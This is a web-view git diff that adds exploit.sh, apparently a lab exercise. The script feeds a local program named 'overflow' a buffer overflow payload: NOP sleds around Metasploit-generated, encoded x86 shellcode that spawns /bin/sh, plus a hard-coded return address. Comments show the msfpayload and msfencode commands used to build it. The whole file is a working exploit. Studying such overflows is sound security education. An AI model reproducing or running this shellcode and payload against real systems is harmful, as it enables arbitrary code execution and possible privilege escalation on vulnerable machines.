aboutsummaryrefslogtreecommitdiff
path: root/exploit.sh
diff options
context:
space:
mode:
Diffstat (limited to 'exploit.sh')
-rwxr-xr-xexploit.sh8
1 files changed, 8 insertions, 0 deletions
diff --git a/exploit.sh b/exploit.sh
new file mode 100755
index 0000000..a078e4a
--- /dev/null
+++ b/exploit.sh
@@ -0,0 +1,8 @@
+#!/bin/sh
+
+# shellcode generated with metasploit (exec /bin/sh):
+# ./msfpayload linux/x86/exec cmd=/bin/sh R | ./msfencode -b '\x00\x09\x0a\x0d\x1b\x20'
+
+# 117xNOP (0x90) + shellcode + 117xNOP (0x90) + return addr
+
+./overflow `python -c 'print "\x90"*117 + "\xd9\xcd\xd9\x74\x24\xf4\xbf\xc9\x14\x15\x14\x5d\x31\xc9\xb1\x0b\x83\xc5\x04\x31\x7d\x16\x03\x7d\x16\xe2\x3c\x7e\x1e\x4c\x27\x2d\x46\x04\x7a\xb1\x0f\x33\xec\x1a\x63\xd4\xec\x0c\xac\x46\x85\xa2\x3b\x65\x07\xd3\x34\x6a\xa7\x23\x6a\x08\xce\x4d\x5b\xbf\x78\x92\xf4\x6c\xf1\x73\x37\x12" + "\x90"*117 + "\x8c\xd3\xff\xff"'`